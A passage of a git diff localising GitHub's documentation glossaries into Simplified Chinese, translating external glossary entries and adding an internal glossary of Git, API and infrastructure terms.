引用的直接上级。验证后,Git 将所有对象(可从本地 HEAD 引用访问,但在远程存储库中丢失)拉取到远程对象数据库,然后更新远程 HEAD 引用。如果远程 HEAD 不是本地 HEAD 的上级,则推送将失败。 +- term: 推送访问权限 + description: 写入访问权限的同义词。 +- term: 读取访问权限 description: >- - A permission level on a repository that allows the user to pull, or read, - information from the repository. All public repositories give read access to - all GitHub users. A synonym for pull access. -- term: README - description: A text file containing information about the files in a repository that is typically the first file a visitor to your repository will see. A README file, along with a repository license, contribution guidelines, and a code of conduct, helps you share expectations and manage contributions to your project. -- term: rebase + 存储库上的权限级别,可让用户从存储库中拉取或读取信息。所有公共存储库都为所有 GitHub 用户提供读取访问权限。拉取访问权限的同义词。 +- term: 自述文件 + description: 一个包含有关存储库中文件的信息的文本文件,该文件通常是存储库访问者将看到的第一个文件。自述文件以及存储库许可证、参与指南和行为准则可帮助你共享期望并管理对项目的贡献。 +- term: 变基 description: >- - To reapply a series of changes from a branch to a different base, and reset - the HEAD of that branch to the result. -- term: recovery code - description: A code that helps you regain access to your GitHub account. -- term: release - description: GitHub's way of packaging and providing software to your users. + 要将一系列变更从一个分支重新应用到不同的基础分支,并将该分支的 HEAD 重置为结果。 +- term: 恢复代码 + description: 帮助你重新获取对 GitHub 帐户的访问权限的代码。 +- term: 发布 + description: GitHub 封装软件并向用户提供软件的方式。 - term: remote description: >- - This is the version of a repository or branch that is hosted on a server, most likely - GitHub.com. Remote versions can be connected to local clones so that changes can be - synced. -- term: remote repository + 这是托管在服务器上的存储库或分支的版本,很可能是 GitHub.com。远程版本可以连接到本地克隆,以便可以同步更改。 +- term: 远程存储库 description: >- - A repository that is used to track the same project but resides somewhere - else. -- term: remote URL + 用于跟踪同一个项目但储存在其他位置的存储库。 +- term: 远程 URL description: >- - The place where your code is stored: a repository on GitHub, another user's - fork, or even a different server. -- term: replica + 存储代码的位置:GitHub、其他用户分支甚至不同服务器上的存储库。 +- term: 副本 (replica) description: >- - A GitHub Enterprise instance that provides redundancy for the primary GitHub - Enterprise instance. + 为主要 GitHub Enterprise 实例提供冗余的 GitHub Enterprise 实例。 - term: repository description: >- - A repository is the most basic element of GitHub. They're easiest to imagine - as a project's folder. A repository contains all of the project files - (including documentation), and stores each file's revision history. - Repositories can have multiple collaborators and can be either public or - private. -- term: repository cache + 存储库是 GitHub 最基本的元素。它们很容易被想象为项目的文件夹。存储库包含所有项目文件(包括文档),并存储每个文件的修订历史记录。存储库可以有多个协作者,并且可以是公共的,也可以是专用的。 +- term: 存储库缓存 description: >- - A read-only mirror of repositories for your GitHub Enterprise server instance, located near - distributed teams and CI clients. -- term: repository graph - description: A visual representation of your repository's data. -- term: repository maintainer + GitHub Enterprise 服务器实例的存储库的只读镜像,位于分布式团队和 CI 客户端附近。 +- term: 存储库图 + description: 存储库数据的视觉对象表现形式。 +- term: 存储库维护者 description: >- - Someone who manages a repository. This person may help triage issues and use labels and other features to manage the work of the repository. This person may also be responsible for keeping the README and contributing files updated. -- term: required pull request review + 管理存储库的人。此人可以帮助分类问题,并使用标签和其他功能来管理存储库的工作。此人还可能负责更新自述文件和参与文件。 +- term: 必需拉取请求审查 description: >- - Required reviews ensure that pull requests have at least one approved review - before collaborators can make changes to a protected branch. -- term: required status check + 必需审查确保拉取请求至少获得一次审批审查之后,协作者才可更改受保护分支。 +- term: 必需状态检查 description: >- - Checks on pull requests that ensure all required CI tests are passing before - collaborators can make changes to a protected branch. + 拉取请求检查,确保在协作者可以对受保护分支进行更改前,所有必需的 CI 测试都已通过。 - term: resolve - description: The action of fixing up manually what a failed automatic merge left behind. -- term: revert + description: 手动修复自动合并失败的操作。 +- term: 还原 description: >- - When you revert a pull request on GitHub, a new pull request is automatically opened, which has one commit that reverts the merge commit - from the original merged pull request. In Git, you can revert commits with `git revert`. -- term: review + 当在 GitHub 上还原拉取请求时,会自动打开一个新的拉取请求,其中包含一个从原始合并拉取请求还原合并提交的提交。在 Git 中,可以使用 `git revert` 还原提交。 +- term: 审查 description: >- - Reviews allow others with access to your repository to comment on the changes proposed in pull - requests, approve the changes, or request further changes before the pull - request is merged. -- term: root directory - description: The first directory in a hierarchy. -- term: root filesystem - description: The base operating system and the GitHub Enterprise application environment. -- term: saved reply + 审查允许对存储库具有访问权限的其他人评论拉取请求中建议的更改、批准更改或在合并拉取请求之前请求进一步更改。 +- term: 根目录 + description: 层次结构中的第一个目录。 +- term: 根文件系统 + description: 基本操作系统和 GitHub Enterprise 应用程序环境。 +- term: 已保存回复 description: >- - A comment you can save and add to your GitHub user account so that you can - use it across GitHub in issues and pull requests. + 可保存并添加到 GitHub 用户帐户的评论,这样你就可以在 GitHub 中的问题和拉取请求中使用它。 - term: scope description: >- - Named groups of permissions that an OAuth App can request to access both - public and non-public data. -- term: seat + OAuth App 可以请求访问公共和非公共数据的命名权限组。 +- term: 席位 description: >- - A user within a GitHub Enterprise organization. This may be referred to as - "seat count." -- term: secret team + GitHub Enterprise 组织内的用户。这可以被称为“席位数”。 +- term: 机密团队 description: >- - A team that is only visible to the other people on the team and people with owner - permissions. -- term: security log + 只有团队其他人以及具有所有者权限的人员可见的团队。 +- term: 安全日志 description: >- - A log that lists the last 50 actions or those performed within the last 90 - days. -- term: server-to-server request + 列出最近 50 次操作或过去 90 天内执行的操作的日志。 +- term: 服务器到服务器请求 description: >- - An API request used by an application that acts as a bot, independently of any particular user. For example, an application that runs on a scheduled basis and closes issues where there has been no activity for a long time. Applications that use this type of authentication don't use a licensed GitHub account so, in an enterprise with a billing plan that allows a certain number of licenses to be used, a server-to-server bot is not consuming one of your GitHub licenses. The token used in a server-to-server request is acquired programmatically, via [the GitHub API](/rest/reference/apps#create-an-installation-access-token-for-an-app). See also, "[user-to-server request](#user-to-server-request)." -- term: service hook + 由充当机器人的应用程序使用的 API 请求,独立于任何特定用户。例如,按计划运行并关闭长时间没有活动的问题的应用程序。使用此类身份验证的应用程序不使用许可的 GitHub 帐户,因此,在具有允许使用一定数量许可证的计费计划的企业中,服务器到服务器机器人不会使用其中一个 GitHub 许可证。服务器到服务器请求中使用的令牌是通过 [GitHub API](/rest/reference/apps#create-an-installation-access-token-for-an-app) 以编程方式获取的。另请参阅“[用户到服务器请求](#user-to-server-request)”。 +- term: 服务挂钩 description: >- - Also called "webhook." Webhooks provide a way for notifications to be - delivered to an external web server whenever certain actions occur on a - repository or organization. -- term: single sign-on + 也称为“Webhook”。 Webhook 是一种通知方式,只要存储库或组织上发生特定操作,就会发送通知到外部 Web 服务器。 +- term: 单一登录 description: >- - Also called SSO. Allows users to sign in to a single location - an identity - provider (IdP) - that then gives the user access to other service providers. -- term: snapshot - description: A checkpoint of a virtual machine at a point in time. -- term: squash - description: To combine multiple commits into a single commit. Also a Git command. -- term: SSH key + 也称为 SSO。允许用户登录到一个位置,然后标识提供者 (IdP) 授予用户对其他服务提供程序的访问权限。 +- term: 快照 + description: 虚拟机在某一时间点的检查点。 +- term: 压缩 + description: 用于将多个提交合并为一个提交。也称为 Git 命令。 +- term: SSH 密钥 description: >- - SSH keys are a way to identify yourself to an online server, using an encrypted message. It's as if your computer has its own unique password to another service. {% data variables.product.product_name %} uses SSH keys to securely transfer information to your computer. -- term: staging instance + SSH 密钥是一种使用加密消息向在线服务器标识自己的方法。就好像计算机对其他服务具有自己的唯一密码一样。{% data variables.product.product_name %}使用 SSH 密钥将信息安全地传输到计算机。 +- term: 暂存实例 description: >- - A way to test modifications before they are applied to your actual GitHub - Enterprise instance. + 在将修改应用到实际 GitHub Enterprise 实例之前测试修改的一种方法。 - term: status description: >- - A visual representation within a pull request that your commits meet the - conditions set for the repository you're contributing to. -- term: status checks + 拉取请求中的视觉对象表现形式,表示提交符合为参与的存储库设置的条件。 +- term: 状态检查 description: >- - Status checks are external processes, such as continuous integration builds, which run for each commit you make in a repository. For more information, see "[About status checks](/articles/about-status-checks)." -- term: star + 状态检查是为在存储库中进行的每个提交而运行的外部进程,例如持续集成生成。有关详细信息,请参阅“[关于状态检查](/articles/about-status-checks)”。 +- term: 星级 description: >- - A bookmark or display of appreciation for a repository. Stars are a manual - way to rank the popularity of projects. -- term: subscription - description: A user or organization's GitHub plan. -- term: team + 对存储库的书签或表示赞赏。星级是一种手动对项目的受欢迎程度进行排名的方法。 +- term: 订阅 + description: 用户或组织的 GitHub 计划。 +- term: 团队 description: >- - A group of organization members that reflect your company or group's - structure with cascading access permissions and mentions. -- term: team maintainer + 通过级联访问权限和提及来反映公司或组结构的组织成员组。 +- term: 团队维护者 description: >- - Organization members that have a subset of permissions available to - organization owners to manage teams. -- term: Team plan + 具有组织所有者一部分团队管理权限的组织成员。 +- term: 团队计划 description: >- - An organization billing plan that gives you unlimited public and private - repositories. -- term: timeline - description: A series of events in a pull request or on a user profile. -- term: topic branch + 提供无限公共和专用存储库的组织计费计划。 +- term: 时间线 + description: 拉取请求或用户个人资料中的一系列事件。 +- term: 主题分支 description: >- - A regular Git branch that is used by a developer to identify a conceptual - line of development. Since branches are very easy and inexpensive, it is - often desirable to have several small branches that each contain very well - defined concepts or small incremental yet related changes. Can also be called a feature branch. + 一个常规的 Git 分支,开发人员使用它来识别开发的概念线。由于分支非常简单且成本低廉,因此通常希望有几个小分支,每个分支都包含定义非常明确的概念或小的增量但相关的更改。也可以称为特征分支。 - term: topics description: >- - A way to explore repositories in a particular subject area, find projects to - contribute to, and discover new solutions to a specific problem on GitHub. -- term: traffic graph + 一种方法,用于探索特定主题领域中的存储库,查找要参与的项目,以及在 GitHub 上发现特定问题的新解决方案。 +- term: 流量图 description: >- - A repository graph that shows a repository's traffic, including full clones - (not fetches), visitors from the past 14 days, referring sites, and popular - content. -- term: transfer + 显示存储库流量的存储库图,包括完整克隆(非提取)、过去 14 天的访问者、推荐站点及热门内容。 +- term: 传输 description: >- - To transfer a repository means to change the owner of a repository. The new owner will be able to - immediately administer the repository's contents, issues, pull requests, - releases, and settings. -- term: upstream + 转让存储库是指更改存储库的所有者。新所有者能够立即管理存储库的内容、问题、拉取请求、发行版和设置。 +- term: 上游 description: >- - When talking about a branch or a fork, the primary branch on the original - repository is often referred to as the "upstream", since that is the main - place that other changes will come in from. The branch/fork you are working - on is then called the "downstream". Also called origin. -- term: upstream branch + 在谈论分支或分叉时,原始存储库上的主分支通常被称为“上游”,因为它是获取其他更改的主要位置。正在处理的分支/分叉则被称为“下游”。也称为原点。 +- term: 上游分支 description: >- - The default branch that is merged into the branch in question (or the branch - in question is rebased onto). It is configured via `branch..remote` and - `branch..merge`. If the upstream branch of A is origin/B sometimes we - say "A is tracking origin/B". + 合并到相关分支(或相关分支重新基于的分支)中的默认分支。它是通过 `branch..remote` 和 `branch..merge` 配置的。如果 A 的上游分支是原点/B,有时表示为“A 是跟踪原点/B”。 - term: user description: >- - Users are people with personal GitHub accounts. Each user has a personal profile, and - can own multiple repositories, public or private. They can create or be - invited to join organizations or collaborate on another user's repository. + 用户是拥有个人 GitHub 帐户的人员。每个用户都有自己的个人资料,并且可以拥有多个公共或专用存储库。他们可以创建或受邀加入组织,也可以在其他用户的存储库上进行协作。 - term: username - description: A user's handle on GitHub. -- term: user-to-server request + description: GitHub 上的用户句柄。 +- term: 用户到服务器请求 description: >- - An API request used by an application that performs a task on behalf of a particular user. Where a task is carried out with user-to-server authentication it's shown on GitHub as having been done by a user via an application. For example, you might choose to create an issue from within a third-party application, and the application would do this on your behalf on GitHub. The scope of tasks an application can perform using a user-to-server request is restricted by both the app's and the user's permissions and access. The token used in a user-to-server request is acquired via OAuth. For more information, see "[Identifying and authorizing users for GitHub Apps](/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps)." See also, "[server-to-server request](#server-to-server-request)." -- term: visible team - description: A team that can be viewed and @mentioned by every organization member. -- term: watch + 由代表特定用户执行任务的应用程序所使用的 API 请求。如果使用用户到服务器身份验证执行任务,则在 GitHub 上显示为由用户通过应用程序完成的任务。例如,可以选择在第三方应用程序中创建问题,该应用程序将代表用户在 GitHub 上执行此操作。应用程序可使用用户到服务器请求执行的任务范围受到应用和用户的权限和访问权限的限制。用户到服务器请求中所使用的令牌是通过 OAuth 获取的。有关详细信息,请参阅“[识别和授权 GitHub Apps 的用户](/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps)”。 另请参阅“[服务器到服务器请求](#server-to-server-request)”。 +- term: 可见团队 + description: 可被每个组织成员查看和 @提及的团队。 +- term: 监视 description: >- - You can watch a repository or issue to receive notifications when updates are made to an issue or pull request. -- term: watching notifications - description: A notification about activity in a repository a user has subscribed to. -- term: web notifications + 可以监视存储库或问题,以在对问题或拉取请求进行更新时接收通知。 +- term: 查看通知 + description: 关于用户订阅的存储库中活动的通知。 +- term: Web 通知 description: >- - Notifications displayed in the web interface on GitHub: - https://github.com/notifications + 显示在 GitHub 的 Web 界面中的通知:https://github.com/notifications - term: webhooks description: >- - Webhooks allow you to build or set up GitHub Apps which subscribe to certain - events on GitHub.com. Webhooks provide a way for notifications to be - delivered to an external web server whenever certain actions occur on a - repository or organization. Also called a service hook. -- term: write access + Webhook 允许构建或设置订阅 GitHub.com 上某些事件的 GitHub Apps。Webhook 是一种通知方式,只要存储库或组织上发生特定操作,就会发送通知到外部 Web 服务器。也被称为服务挂钩。 +- term: 写入访问权限 description: >- - A permission level on a repository that allows the user to push, or write, - changes to the repository. + 存储库上的权限级别,可让用户推送或写入对存储库的更改。 diff --git a/translations/zh-CN/data/glossaries/internal.yml b/translations/zh-CN/data/glossaries/internal.yml new file mode 100644 index 0000000000..0fdfa4ec27 --- /dev/null +++ b/translations/zh-CN/data/glossaries/internal.yml @@ -0,0 +1,541 @@ +- term: 两张图 + description: GitHub 上的查看图像默认模式。 +- term: 备用对象数据库 + description: >- + 通过交替机制,存储库的对象数据库部分可以从另一个对象数据库(称为“备用”对象数据库)继承。 +- term: AMI + description: >- + Amazon 机器映像。与 Amazon Elastic Compute Cloud 结合使用的虚拟设备。 +- term: 匿名图像 URL + description: >- + 每个映像的匿名 URL 代理,用于隐藏你的浏览器详细信息和来自其他用户的相关信息。 +- term: apex 域 + description: 不包含子域部分的根域。 +- term: API + description: >- + 应用程序编程接口。一组明确定义的各软件组件之间的通信方法。 +- term: API 令牌 + description: >- + 用于在脚本和命令行中代替密码的令牌。 +- term: 应用 + description: >- + 与 GitHub 集成的第三方服务。这通常是指 OAuth 应用程序或 GitHub 应用。这也称为“应用”。 +- term: application + description: >- + 与 GitHub 集成的第三方服务。这通常是指 OAuth 应用程序或 GitHub 应用。这也称为“应用”。 +- term: 参数 + description: '在 GraphQL 中,附加到特定字段的一组键值对。' +- term: AsciiDoc + description: >- + 用于编写注释、文档、文章、书籍、电子书、幻灯片、网页、手册页和博客的文本文档格式。 +- term: 资产 + description: '单个文件,如图像、照片、视频和文本文件。' +- term: Atom 馈送 + description: 一种轻量级 XML 格式,用于轻松聚合 Web 内容。 +- term: 审核日志 + description: >- + 在组织中,审核日志包括有关在组织中执行的活动的详细信息,例如执行操作的人员、操作的内容以及执行操作的时间。 +- term: 头像 + description: >- + 用户上传到 GitHub 的自定义图像,用于标识其活动,通常与其用户名结合使用。这也称为个人资料照片。 +- term: AWS + description: Amazon Web Services。一个安全的云服务平台。 +- term: Azure + description: 一个 Microsoft 云计算平台。 +- term: Azure DevOps + description: >- + 一种 Microsoft 产品,提供源代码托管、问题、CI/CD 管道和其他开发人员服务。本地版本以前称为 Team Foundation Server。云托管版本以前称为 Visual Studio Team Services。 +- term: 裸存储库 + description: >- + 裸存储库通常是具有 .git 后缀的适当命名的目录,不包含任何在修订控制下的文件的本地签出副本。也就是说,通常显示在隐藏的 .git 子目录中的所有 Git 管理和控制文件都直接显示在存储库.git 目录中,并且不显示和签出任何其他文件。通常,公共存储库的发布服务器会提供裸存储库。 +- term: BFG 存储库清理器 + description: BFG。用于清理 Git 存储库历史记录数据的第三方工具。 +- term: blob 对象 + description: '非类型化对象,例如文件的内容。' +- term: 机器人 + description: 运行自动化任务的软件应用程序。 +- term: Bundler + description: 一种管理应用程序所依赖的 Ruby gem 的方法。 +- term: camo + description: >- + 一个 SSL 映像代理,用于防止 GitHub 提供的安全页面上出现混合内容警告。 +- term: 链 + description: >- + 一个对象列表,列表中的每个对象都包含对其后继者的引用(例如,提交的后继者可以是其父项之一)。 +- term: CIDR 表示法 + description: IP 地址及其相关路由前缀的精简表示形式。 +- term: CLI + description: 命令行界面。 +- term: CNAME 记录 + description: >- + 规范名称记录。域名系统 (DNS) 中的一种资源记录,用于指定某个域名是另一个域(“规范”域)的别名。 +- term: 条件请求 + description: >- + 在 REST API 中,HTTP 方法仅在某些情况下响应。 +- term: 连接 + description: '在 GraphQL 中,一种在同一个调用中查询相关对象的方法。' +- term: Git 内核 + description: >- + Git 的基本数据结构和实用程序。仅公开有限的源代码管理工具。 +- term: CPU + description: 中心处理单元。 +- term: 凭据帮助程序 + description: 用于存储和提取 Git 凭据的程序。 +- term: creole + description: >- + 一种轻量级标记语言,旨在成为 wiki 的通用标记语言,支持和简化不同 wiki 引擎之间的内容传输。 +- term: CSV + description: 用逗号分隔的文件。 +- term: DAG + description: >- + 有向无环图。提交对象形成有向无环图,因为它们具有父级(有向),并且提交对象的图是非循环的(没有以同一对象开始和结束的链路)。 +- term: 悬空对象 + description: >- + 不可访问的对象,即使从其他不可访问对象也无法访问它;存储库中没有任何引用或对象对悬空对象进行引用。 +- term: 数据包 + description: >- + 用户可以购买的存储和带宽包。每个数据包都提供 50 GB 的带宽和 50 GB 的存储。 +- term: DELETE + description: REST API 中的一种方法 +- term: DHCP + description: >- + 动态主机配置协议 (DHCP)。一种客户端/服务器协议,自动为 Internet 协议 (IP) 主机提供其 IP 地址及其他相关配置信息,例如子网掩码和默认网关。 +- term: 指令 + description: >- + 在 GraphQL 中,一种以服务器所需的任何方式影响查询执行的方法。 +- term: directory + description: 使用命令“ls”获取的列表。 +- term: 灾难恢复 + description: >- + 也称为 DR。在人为或自然灾难后恢复技术基础设施和系统的工具和流程。 +- term: DNS 提供商 + description: >- + 允许用户购买并注册唯一域名的公司,通过将域名指向一个 IP 地址或不同的域名,可将该名称连接到 IP(Internet 协议)地址。 +- term: DSA + description: 数字签名算法。数字签名的处理标准。 +- term: DSA 密钥 + description: DSA 中使用的公钥和私钥。 +- term: 抢先体验计划 + description: >- + 个人和组织用来接收预发布功能的 GitHub 程序。 +- term: EBS + description: >- + Amazon Elastic Block Store。在 AWS 云中提供用于 Amazon EC2 实例的持久性块存储卷。 +- term: EC2 + description: >- + Amazon Elastic Compute Cloud。一种 Web 服务,可以在云中提供安全并且可调整大小的计算容量。 +- term: 边 + description: '在 GraphQL 中,节点之间的连接。' +- term: EIP + description: 弹性 IP。设计用于动态云计算的静态 IPv4 地址。 +- term: ElasticSearch + description: 基于 Lucene 的搜索引擎。 +- term: 不良合并 + description: >- + 不良合并是指在合并中引入了未在任何父级中出现的更改。 +- term: 排除 + description: >- + 在某个路径与任何非 exclude pathspec 匹配后,它将通过所有 exclude pathspec(magic signature: ! 或者它的同义词 ^)运行。如果匹配,则忽略该路径。如果没有非 exclude pathspec,则会将排除应用于结果集,就像在没有任何 pathspec 的情况下调用一样。 +- term: FIDO U2F + description: >- + 一种开放式身份验证标准,采用基于智能卡中类似安全技术的专用 USB 或 NFC 设备来加强和简化双因素身份验证。 +- term: 字段 + description: '在 GraphQL 中,可从对象检索的数据单元。' +- term: 文件系统 + description: >- + Linus Torvalds 最初将 Git 设计为用户空间文件系统,即保存文件和目录的基础结构。这确保了 Git 的效率和速度。 +- term: 网络口水战 + description: 用户之间在线进行的激烈和攻击性讨论。 +- term: 分段 + description: '在 GraphQL 中,用于构造字段集的可重复使用单元。' +- term: GCE + description: Google Compute Engine。 +- term: gem + description: 可安装库和管理 RubyGems 的命令行工具。 +- term: Gemfile + description: 描述 Ruby 程序的 gem 依赖项的格式。 +- term: GET + description: REST API 中的一种方法 +- term: GeoJSON + description: 用于对各种地理数据结构进行编码的格式。 +- term: GitHub Marketplace 开发者协议 + description: 用户在使用 GitHub Marketplace 时签署的协议。 +- term: GPG + description: >- + GNU Privacy Guard。可用于加密(和解密)包含敏感数据的文件的加密软件 +- term: GPG 密钥 + description: 用于 GPG 的加密密钥。 +- term: hash + description: 对象名称的同义词 +- term: head + description: >- + 对分支顶部提交的命名引用。Head 存储在 $GIT_DIR/refs/heads/ 目录的文件中,除非使用打包引用。 +- term: HEAD + description: REST API 中的一种方法 +- term: headers + description: >- + 在 REST API 中,消息的必需组件,用于定义事务的元数据。 +- term: 运行状况检查 + description: >- + 当预配置的检查在该节点上失败时,允许负载均衡器停止向未响应的节点发送流量的方法。 +- term: HTTP 谓词 + description: 一种 HTTP 方法。 +- term: Hyper-V + description: >- + 一种 Microsoft 产品,用于在运行 Windows 的 x86-64 系统上创建虚拟机。 +- term: 超媒体 + description: '在 REST API 中,从一种资源状态到另一种资源状态的链接。' +- term: 不区分大小写 + description: 不区分大小写的匹配。 +- term: implementation + description: '在 GraphQL 中,对象从接口继承的方式。' +- term: 索引 + description: >- + 包含统计信息的文件的集合,其内容存储为对象。索引是工作树的存储版本。事实上,它也可以包含第二个甚至第三个版本的工作树,这些版本在合并时使用。 +- term: 索引项 + description: >- + 有关存储在索引中的特定文件的信息。如果合并已启动但尚未完成(即,如果索引包含该文件的多个版本),则某个索引项可能处于未合并状态。 +- term: 自检 + description: >- + 也称为“自省”。 一种向 GraphQL 架构询问有关所支持查询的信息的方法。 +- term: iPython notebook + description: >- + 基于 Web 的应用程序,可捕获整个计算过程:开发、记录和执行代码,以及传达结果。 +- term: JIRA + description: 用于跟踪议题的 Atlassian 产品。 +- term: Jupyter 笔记本 + description: 包含代码和格式文本元素的 Notebook。 +- term: 内核 + description: 作为计算机操作系统的核心的计算机程序。 +- term: kramdown + description: Jekyll 的 3.0.0 默认 Markdown 处理器。 +- term: LDAP + description: 轻型目录访问协议。 +- term: Linter + description: 验证代码质量的程序。 +- term: Liquid + description: 用于加载动态内容的模板语言。 +- term: 负载均衡器 + description: >- + 充当反向代理并在多个服务器之间分配网络或应用程序流量的设备。 +- term: 媒体类型 + description: 文件格式和格式内容的两部分标识符。 +- term: MediaWiki + description: >- + 用 PHP 编程语言编写的免费开源 wiki 软件,可将内容存储到数据库中。 +- term: Mercurial + description: '免费的分布式源控制管理工具。' +- term: metadata + description: 一组描述和提供有关其他数据的信息的数据。 +- term: MIME 类型 + description: >- + 多用途 Internet 邮件扩展。一种根据文件的性质和格式识别文件的方法。 +- term: 突变 + description: >- + 在 GraphQL 中,一种定义在服务器上更改数据的 GraphQL 操作的方法。 +- term: 名称服务器 + description: >- + 在 Internet 上专门处理有关域名的各种服务位置的查询的服务器。 +- term: NFC + description: >- + 近场通信。一组通信协议,使两个电子设备(其中一个通常是智能手机等便携式设备)可以在彼此靠近的特定范围内建立通信。 +- term: 节点 + description: >- + 附加到网络的有效电子设备,能够通过信道创建、接收或传输信息。 +- term: 节点 + description: '在 GraphQL 中,对象的通用术语。' +- term: NTP + description: 网络时间协议。 +- term: 对象 (object) + description: >- + Git 中的存储单元。它由其内容的 SHA-1 进行唯一标识。因此,无法更改对象。 +- term: 对象数据库 + description: >- + 存储一组“对象”,各个对象由其对象名称标识。对象通常位于 $GIT_DIR/objects/ 中。 +- term: 对象标识符 (object identifier) + description: 对象名称的同义词 +- term: 对象名称 + description: >- + 对象的唯一标识符。对象名称通常由 40 个字符的十六进制字符串表示。也俗称为 SHA-1。 +- term: 对象类型 + description: >- + 标识符“commit”、“tree”、“tag”或“blob”之一,用于描述对象的类型。 +- term: 多重合并 + description: 合并两个以上的分支。 +- term: onion skin + description: >- + 一种通过降低重叠替换图像的不透明度来查看 GitHub 上的图像的方法。 +- term: OOM + description: 内存不足。 +- term: Open Stack + description: 用于云计算的软件平台。 +- term: OpenSSH + description: >- + 一套基于安全外壳 (SSH) 协议的安全相关网络级实用程序。 +- term: 已排序列表 + description: 编号列表。 +- term: Org + description: >- + 用于保存注释、维护 TODO 列表、计划项目和创作文档的纯文本系统。 +- term: 包 + description: >- + 已压缩到一个文件中的一组对象(为了节省空间或有效传输)。 +- term: 包索引 + description: >- + 包中对象的标识符列表和其他信息,可帮助有效地访问包的内容。Pathspecs 在“git ls-files”、“git ls-tree”、“git add”、“git grep”、“git diff”、“git checkout”和许多其他命令中使用,以将操作范围限制为树或工作树的某些子集。 +- term: 参数 (parameter) + description: >- + 在 REST API 中,作为输入或输出参数的一部分在请求中发送或在响应中接收的数据。 +- term: 父级 (parent) + description: >- + 提交对象包含开发线中逻辑前身(即其父项)的列表(可能为空)。 +- term: 通行短语 + description: >- + 用于控制对计算机系统、程序或数据的访问权限的字词序列或其他文本。 +- term: PATCH + description: REST API 中的一种方法 +- term: pathspec + description: 用于在 Git 命令中限制路径的模式。 +- term: PEM + description: 隐私增强邮件 +- term: 持久性标识符 + description: >- + 也称为数字对象标识符 (DOI)。引用数字对象的全局唯一数字和/或字符串。持久性标识符是可操作的,因为它们支持用户通过持久性链接访问数字资源。 +- term: pickaxe + description: >- + diffcore 例程的一个选项,用于帮助选择添加或删除给定文本字符串的更改。使用 --pickaxe-all 选项时,它可用于查看已引入或删除的完整变更集,例如特定文本行。 +- term: plugin + description: 用于向现有程序添加特定功能的软件组件。 +- term: Pod + description: 普通旧文档。Perl 开发人员使用的标记语言。 +- term: 指针文件 + description: 指向实际文件的引用。 +- term: port + description: 操作系统中的通信终结点。 +- term: 优先问题 + description: >- + 业务计划组织向 GitHub 支持部门提出的问题。问题必须符合 GitHub 规定的标准,才有资格作为优先问题。 +- term: 优先响应 + description: >- + GitHub 支持部门对业务计划组织提出的优先问题的答复。 +- term: 轮询 + description: >- + 通过一个程序或设备定期自动检查其他程序或设备,以查看它们所处的状态。 +- term: POST + description: REST API 中的一种方法 +- term: 预发布程序 + description: >- + 允许用户在版本正式发布之前使用新功能的 GitHub 计划。 +- term: PUT + description: REST API 中的一种方法 +- term: QCOW2 + description: 一种图像格式。 +- term: QR 码 + description: >- + 快速响应代码。条形码是一种机器可读的光标签,包含有关其所附物品的信息。 +- term: 查询 + description: '在 GraphQL 中,通过特定字段查找对象的方法。' +- term: 速率限制 + description: API 拒绝请求的进程。 +- term: RDoc + description: 用于 Ruby 编程语言的嵌入式文档生成器。 +- term: 可访问 + description: >- + 特定提交的所有前身都可以称为该提交的“可访问”对象。更一般地说,如果可以通过链路从一个对象访问另一个对象,就说明一个对象可从另一个对象中进行访问,我们可以通过标记访问其标记的内容、通过提交访问其父项或树,以及通过树访问其包含的树或 blob。 +- term: ref + description: >- + 以 refs/(例如 refs/heads/master)开头、指向一个对象名称或另一个 ref(后者称为符号 ref)的名称。 +- term: reflog + description: Reflog 显示 ref 的本地“历史记录”。 +- term: refspec + description: >- + “refspec”用于提取和推送操作,以描述远程 ref 与本地 ref 之间的映射。 +- term: 相对链接 + description: 相对于当前文件的链接。 +- term: 远程跟踪分支 + description: 用于跟踪另一个存储库的更改的 ref。 +- term: REST API + description: >- + 定义一组函数的 API,使开发人员能够通过 HTTP 执行请求和接收响应。 +- term: 重组文本 + description: 所见即所得纯文本标记语法和解析器系统。 +- term: revision + description: 提交的同义词。 +- term: rewind + description: >- + 抛弃部分开发,例如将头部指定为早期版本。 +- term: 根终结点 + description: '在 REST API 中,所有终结点所在的目录。' +- term: RSA + description: 使用公钥和私钥加密用户数据的算法。 +- term: RSA 密钥 + description: 基于 RSA 算法的私钥。 +- term: SAML + description: >- + 安全断言标记语言。一种基于 XML 的开放标准数据格式,用于在各方之间,特别是在标识提供者和服务提供程序之间交换身份验证和授权数据。 +- term: SAN + description: 使用者可选名称 +- term: Sass + description: 一种 CSS 扩展语言。 +- term: 架构 + description: 表示数据结构的元数据。 +- term: SCIM + description: >- + 跨域身份管理系统。用于在身份域之间自动交换用户身份信息的开放标准。 +- term: SCM + description: 源代码管理(工具)。 +- term: SCSS + description: 一种 CSS 扩展语言。 +- term: 服务帐户 + description: >- + 应用程序或服务用于与操作系统交互的特殊用户帐户。 +- term: SHA-1 + description: >- + “安全哈希算法 1”;加密哈希函数。在 Git 的上下文中,用作对象名称的同义词。 +- term: shell + description: 用于访问操作系统服务的用户接口。 +- term: 卷影存储库 + description: >- + 卷影存储库的历史记录不完整,其中一些提交的父项受到阻止(也就是说,Git 被告知假装这些提交没有父项,尽管这些提交已记录在提交对象中)。当你只对项目的最近历史记录感兴趣时,即使上游中记录的实际历史记录要大得多,这有时也很有用。通过向 git-clone (1) 提供 --depth 选项来创建卷影存储库,稍后可以使用 git-fetch (1) 获取更多历史记录。 +- term: SMS + description: 短信。 +- term: SMTP + description: 简单邮件传输协议。电子邮件传输标准。 +- term: SNMP + description: 简单网络管理协议。网络管理协议。 +- term: spam + description: 来自其他用户的未经请求的通信。 +- term: SSD + description: 固态硬盘。 +- term: SSH + description: >- + 安全外壳 (SSH) 是一种加密网络协议,用于在不安全的网络上安全地运行网络服务。 +- term: ssh 代理 + description: 保存用于公钥身份验证的私钥的程序。 +- term: SSH 密钥 + description: >- + SSH 密钥是一种使用加密消息向在线服务器标识自己的方法。就好像你的计算机使用唯一密码登录其他服务一样。GitHub 使用 SSH 密钥安全地将信息从 GitHub.com 传输到计算机。 +- term: SSH 密钥指纹 + description: >- + 用于标识并验证要连接的主机,基于主机的公钥。 +- term: SSL + description: 安全套接字层。 +- term: 静态站点生成器 + description: >- + 使用原始数据(例如 Markdown 文件)和模板生成仅 HTML 网站的程序。 +- term: 字符串 + description: 表示纯文本的对象类型 +- term: STL 文件 + description: >- + STL (STereoLithography) 是由 3D Systems 创建的立体光刻 CAD 软件的原生文件格式。 +- term: 子域 + description: >- + 域名的可自定义和可选部分,位于根或 apex 域之前,看起来就像域名前缀。 +- term: 子模块 + description: >- + 